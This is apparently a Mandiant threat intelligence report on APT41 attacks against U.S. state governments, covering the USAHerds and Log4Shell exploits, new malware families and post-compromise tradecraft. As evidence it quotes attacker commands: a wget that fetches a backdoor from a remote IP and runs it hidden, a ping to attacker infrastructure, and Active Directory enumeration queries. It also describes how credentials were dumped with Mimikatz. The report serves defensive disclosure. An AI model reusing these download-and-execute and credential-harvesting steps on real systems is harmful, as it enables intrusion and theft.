Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments

For additional information regarding deserialization exploits and our new hunting rule generation tool ‘HeySerial’, read our blog post, Now You Serial, Now You Don’t — Systematically Hunting for Deserialization Exploits.

USAHerds (CVE-2021-44207) Zero-Day

In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application. USAHerds is a CoTS application written in ASP.NET and used by 18 states for animal health management. The vulnerability in USAHerds (CVE-2021-44207) is similar to a previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default. As a result, all installations of USAHerds shared these values, which is against the best practice of using uniquely generated machineKey values per application instance.

Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState.

Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds; however, once APT41 obtained the machineKey, they were able to compromise any server on the Internet running USAHerds. As a result, there are potentially additional unknown victims.

Log4j (CVE-2021-44228)

The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December 2021. Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential code execution. Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to perform reconnaissance and deploy backdoors. Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple victims, a malware sub-family we now track as KEYPLUG.LINUX. KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS. APT41 heavily used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported version of the backdoor closely following the state government campaign was significant.

After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently used at government victims months prior. An example ping command is shown in Figure 5.

ping -c 1 libxqagv[.]ns[.]dns3[.]cf   

Figure 5: Ping Command to Attacker Controlled Infrastructure

Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment. Sample commands used to deploy KEYPLUG.LINUX can be seen in Figure 6.

wget http://103.224.80[.]44:8080/kernel                         
chmod 777 kernel
mv kernel .kernel
nohup ./.kernel &

“All Killer No Filler” Intrusion TTPs

The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor. In this section, we detail the most pertinent post-compromise techniques.

Reconnaissance

After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting. A common tactic seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT AUTHORITYSYSTEM privilege escalation. Once APT41 escalated to NT AUTHORITYSYSTEM privileges, they copied the local SAM and SYSTEM registry hives to a staging directory for credential harvesting and exfiltration. APT41 has additionally used Mimikatz to execute the lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes.

APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) and its associated module dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) to a staging directory on the compromised server. Figure 7 shows multiple dsquery commands used to enumerate various Active Directory objects within the environment.

c:programdatadsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0
c:programdatadsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0
c:programdatadsquery.exe * -filter "(objectCategory=Computer)" -attr cn servicePrincipalName -L -limit 0
c:programdatadsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName description -limit 0
c:programdatadsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated distinguishedName gPLink -limit 0

During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as DUSTPAN. DUSTPAN is an in-memory dropper written in C++ that leverages ChaCha20 to decrypt embedded payloads. Different variations of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary. DUSTPAN is consistent with the publicly named StealthVector, reported by Trend Micro in August 2021. During the intrusion, DUSTPAN was used to drop a Cobalt Strike BEACON backdoor.

Anti-Analysis

APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added capabilities and anti-analysis techniques to hinder investigations. During a recent intrusion Mandiant identified a new malware variant, DEADEYE.EMBED, contained in an Alternate Data Stream of a local file. DEADEYE.EMBED variants embed the payload inside of the compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND.

APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts. During multiple U.S. state government intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on disk. Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation. Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen in Figure 8.

Source: https://www.mandiant.com/resources/apt41-us-state-governments